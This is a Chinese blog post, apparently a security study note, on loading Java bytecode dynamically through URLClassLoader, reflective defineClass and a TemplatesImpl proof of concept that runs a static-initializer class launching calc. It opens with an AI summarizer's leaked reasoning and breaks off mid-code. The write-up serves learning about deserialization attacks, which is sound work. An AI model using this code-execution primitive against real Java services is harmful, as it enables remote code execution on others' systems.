CC3
嗯,用户让我总结一篇关于Java动态加载字节码的文章,控制在100字以内。首先,我需要理解文章的内容。文章主要讲了Java字节码的基本概念,以及三种动态加载方法:使用URLClassLoader加载远程或本地class文件,通过ClassLoader#defineClass直接加载字节码,以及利用TemplatesImpl类来实现动态加载。 接下来,我要考虑用户的需求。用户可能是一个开发者或者学习者,想快速了解文章的核心内容。因此,总结需要简洁明了,涵盖主要方法和关键点。 然后,我需要确保总结控制在100字以内,并且不使用特定的开头语。这意味着我要精准地提取每个部分的关键信息,并用简洁的语言表达出来。 最后,检查一下是否有遗漏的重要信息,并确保语言流畅自然。 </think> 文章介绍了Java字节码的概念及其动态加载方法,包括通过URLClassLoader加载远程或本地class文件、利用ClassLoader#defineClass直接加载字节码以及借助TemplatesImpl类实现动态加载。 2025-10-25 12:52:29 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

再次深入学习动态加载字节码:

动态加载字节码

1、什么是Java的字节码

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。

java的核心就是跨平台运行,Java编译的结果--字节码(.class文件)交给 JVM 去运行,同时如果其他语言可以编译为字节码文件,也可以交由 JVM 运行

202509011703016.png

2、动态加载字节码的方法

2.1 利用 URLClassLoader 加载远程 class 文件

解释 URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

我们正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。

2.1.1 file 协议

先编译一个文件:

import java.io.IOException;

public class Calc {
static {
try{
Runtime.getRuntime().exec("calc");
} catch(IOException e){
e.printStackTrace();
}
}
}

202509011703146.png

使用 URLClassLoader 加载:

import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoader_Calc {
public static void main(String[] args) throws Exception {
URLClassLoader  urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}

202509011703834.png

2.1.2 http 协议

先用python 起一个 http 服务:

python -m http.server 8999

202509011703718.png

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoader {
public static void main(String[] args) throws MalformedURLException, InstantiationException, IllegalAccessException, ClassNotFoundException {
URL[] urls = {new URL("http://localhost:8999/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class c = classLoader.loadClass("Calc");
c.newInstance();
}
}

2.2 利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:

ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass

  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass

  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

学习如何让系统的 defineClass 来直接加载字节码:

import java.lang.reflect.Method;
import java.util.Base64;

public class DefineClass {
public static void main(String[] args) throws Exception {
//获取 ClassLoader 的 defineClass 方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);

//将 base64 字符串解码成 class 文件的字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
//在系统类加载器上调用 defineClass,将字节数组定义成一个 Class 对象
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
//调用无参构造
hello.newInstance();
}
}

202509011704376.png

跟进 defineClass 看到它是一个 protected 属性,无法直接访问,所以上述例子中用反射调用。

202509011704651.png

2.3 利用 TemplatesImpl 加载字节码

defineClass 方法无法直接使用,但是呢,TemplatesImpl 类中给我们提供了一个入口:

202509011704748.png

TemplatesImpl 类继承了 ClassLoader ,并重写 defineClass 方法,并且是可以被外部调用

现在以 TemplatesImpl#defineClass 为终点跟踪一下这条链:

查找用法:TemplatesImpl.TransletClassLoader.defineClass

202509011704129.png

TemplatesImpl.defineTransletClasses.defineClass

defineTransletClasses 函数还是私有的,继续找

这里查找 defineTransletClasses 的用法后,找到三个结果

202509011704550.png

getTransletClasses 和 getTransletIndex() 都是返回了一个储存值,用于后续操作

202509011704137.png

202509011704963.png

而 getTransletInstance 中 .newInstance() 会调用无参构造创建一个实例,可以用于我们后续的代码执行所以重点跟它

202509011704644.png

来到 newTransformer 函数,它是公有的,到这里就可以了

202509011704704.png

小总结一下:

TemplatesImpl.TransletClassLoader.defineClass

TemplatesImpl.defineTransletClasses.defineClass

TemplatesImpl.getTransletInstance.defineTransletClasses

TemplatesImpl.newTransformer.getTransletInstance

TemplatesImpl

newTransformer

getTransletInstance

defineTransletClasses

defineClass

TransletClassLoader.defineClass

接下来构造 POC:

首先满足俩个条件:

202509011704837.png

进入 defineTransletClasses -> newInstance

202509011704050.png

202509011716057.png

前后结合一下,将 _bytecodes 构造为一维数组套二维数组:

byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};

_tfactory 这个变量被标记为 transient (不可序列化)

202509011705518.png

然后在 readObject 中找:看到已经被赋值了

202509011705580.png

先来一个要执行的类:将其编译后放在指定位置

import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class HelloTemplateImpl {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");

Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);

//这里先赋值看poc是否成功
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());


templates.newTransformer();
}
}

执行后报错:NullPointerException

202509011705977.png

调试查找哪里出了问题:

可以看到 _transletIndex:-1。我们需要进入到 if 语句才能正常执行

202509011705557.png

所以要让执行类继承 AbstractTranslet类(对应:ABSTRACT_TRANSLET),

202509011705525.png

最终完整的执行类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

import com.sun.org.apache.xalan.internal.xsltc

文章来源: https://www.freebuf.com/articles/web/454155.html
如有侵权请联系:admin#unsafe.sh